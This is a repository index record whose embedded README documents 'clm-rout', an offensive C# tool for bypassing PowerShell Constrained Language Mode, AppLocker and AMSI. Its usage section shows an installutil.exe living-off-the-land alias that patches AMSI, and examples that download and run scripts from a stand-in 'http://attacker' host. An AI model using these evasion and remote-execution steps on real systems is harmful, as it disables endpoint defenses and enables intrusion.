{"id":17006033,"url":"https://github.com/aress31/clm-rout","last_synced_at":"2025-07-25T22:06:06.320Z","repository":{"id":50669894,"uuid":"519774044","full_name":"aress31/clm-rout","owner":"aress31","description":"A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace. ","archived":false,"fork":false,"pushed_at":"2022-07-31T13:27:40.000Z","size":8,"stargazers_count":18,"open_issues_count":0,"forks_count":6,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-04-12T06:42:06.933Z","etag":null,"topics":["amsi","amsi-bypass","applocker","applocker-bypass","clm","clm-bypass","constraint-language","installutil","living-off-the-land","offensive-security","osep","powershell","runspace","windows","windows-defender"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/aress31.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-07-31T12:46:03.000Z","updated_at":"2025-02-04T11:08:32.000Z","dependencies_parsed_at":"2022-08-27T15:22:10.245Z","dependency_job_id":null,"html_url":"https://github.com/aress31/clm-rout","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/aress31/clm-rout","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aress31%2Fclm-rout","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aress31%2Fclm-rout/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aress31%2Fclm-rout/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aress31%2Fclm-rout/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/aress31","download_url":"https://codeload.github.com/aress31/clm-rout/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aress31%2Fclm-rout/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":267070318,"owners_count":24030970,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-07-25T02:00:09.625Z","response_time":70,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["amsi","amsi-bypass","applocker","applocker-bypass","clm","clm-bypass","constraint-language","installutil","living-off-the-land","offensive-security","osep","powershell","runspace","windows","windows-defender"],"created_at":"2024-10-14T05:04:51.139Z","updated_at":"2025-07-25T22:06:06.280Z","avatar_url":"https://github.com/aress31.png","language":"C#","funding_links":["https://github.com/sponsors/aress31"],"categories":[],"sub_categories":[],"readme":"# clm-rout\n\n[![Language](https://img.shields.io/badge/Lang-C%23-blue)](https://docs.microsoft.com/en-gb/powershell/)\n[![License](https://img.shields.io/badge/License-BSD%203-red.svg)](https://docs.microsoft.com/en-us/dotnet/csharp/)\n\n## An all-in-one bypass for `PowerShell Constrained Language Mode` (`CLM`), `AppLocker` and `Antimalware Scan Interface` (`AMSI`) using Runspace.\n\n## Features\n\n- Evade `AppLocker`.\n- Evade `CLM`.\n- Patch `AMSI` via the `/pacth` command switch.\n- Execute command(s) via the `/cmd=\u003ccmd\u003e` command switch.\n- Load and execute remotely hosted script(s) via the `/url=\u003chttp(s)://foo.bar/foobar\u003e` command switch.\n- Output the results of commands/scripts (supports `stdout` and `stderr`).\n\n## Installation\n\n1. Clone/download `clm-rout`:\n\n    ```powershell\n    git clone https://github.com/aress31/clm-rout\n    ```\n\n2. Build the project with `Visual Studio 2022`.\n\n## Usage\n\n- (Recommended) Create an \"alias\":\n\n```powershell\nfunction run {\n\tC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe `\n\t\t/uninstall /logfile= /LogToConsole=false `\n\t\t/patch $Args `\n\t\tC:\\users\\foo\\CLMRout.exe\n}\n```\n\n### Examples\n\n- Execute command(s):\n\n    ```powershell\n    run /cmd=\"hostname; whoami\"\n    ```\n\n- Execute remote script(s):\n\n    ```powershell\n    run /script=\"http://attacker/script1.ps1; http://attacker/script2.ps1\"\n    ```\n\n- Execute remote script(s) followed by command(s):\n\n    ```powershell\n    run /cmd=\"hostname; whoami\" /script=\"http://attacker/script1.ps1; http://attacker/script2.ps1\"\n    ```\n\n## Sponsor 💓\n\nIf you want to support this project and appreciate the time invested in developping, maintening and extending it; consider donating toward my next (cup of coffee ☕/lamborghini 🚗) - as **a lot** of my **personal time** went into creating this project. 😪\n\nIt is easy, all you got to do is press the `Sponsor` button at the top of this page or alternatively [click this link](https://github.com/sponsors/aress31). 😁\n\n## Reporting Issues\n\nFound a bug 🐛? I would love to squash it!\n\nPlease report all issues on the GitHub [issues tracker](https://github.com/aress31/clm-rout/issues).\n\n## Contributing\n\nYou would like to contribute to better this project? 🤩\n\nPlease submit all `PRs` on the GitHub [pull requests tracker](https://github.com/aress31/clm-rout/pulls).\n\n## License\n\n`clm-rout` is distributed under the terms of the `BSD 3`.\n\nSee [LICENSE](./LICENSE) for details.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faress31%2Fclm-rout","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faress31%2Fclm-rout","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faress31%2Fclm-rout/lists"}